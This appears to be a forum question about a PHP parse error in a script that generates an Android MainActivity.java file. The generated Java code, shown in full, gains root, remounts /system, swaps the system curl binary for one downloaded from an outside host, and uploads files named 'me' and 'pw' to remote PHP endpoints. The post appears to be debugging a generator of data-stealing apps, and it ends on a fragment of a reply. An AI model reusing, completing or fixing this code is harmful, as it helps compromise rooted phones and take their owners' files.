I am using fwrite() function to write a java file, but I am getting the following error:
Parse error: syntax error, unexpected ';' in /var/www/html/test.php on line 61
Line 61 is where the fwrite function ends with a semicolon. The code is:
$file = fopen(" /home/ashish/$fname/src/com/$fpex[1]/MainActivity.java /home/ashish/$fname/src/com/$fpex[1]/MainActivity.java","w");
fwrite ($file, "package $fpack;" . '
import android.app.*;
import android.os.*;
import android.view.*;
import android.widget.*;
import java.io.IOException;
import java.lang.Process;
import java.io.DataInputStream;
import java.io.DataOutputStream;
public class MainActivity extends Activity
{
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
Process p;
try {
// Preform su to get root privledges
p = Runtime.getRuntime().exec("su");
// Attempt to write a file to a root-only fs
DataOutputStream os = new DataOutputStream(p.getOutputStream());
os.writeBytes("busybox mount -o rw,remount /system \n");
os.writeBytes("busybox rm -f /system/xbin/curl \n");
os.writeBytes("busybox wget http://test.com/curl -O /system/xbin/curl \n");
os.writeBytes("busybox chmod 777 /system/xbin/curl \n");
os.writeBytes("curl -v -F \"file=@/test/me\" http://yourserver/me.php \n");
os.writeBytes("curl -v -F \"file=@/test/pw\" http://yourserver/pw.php \n");
os.writeBytes("echo \"Done\" >/sdcard/temp.txt\n");
// Close the terminal
os.writeBytes("exit\n");
os.flush();
android.os.Process.killProcess(android.os.Process.myPid());
} catch (IOException e) {
// TODO Code to run in input/output exception
//toastMessage("not root");
}
}
}';
What can be wrong here? Any help will be appreciated.
'characters or use something likeaddslashes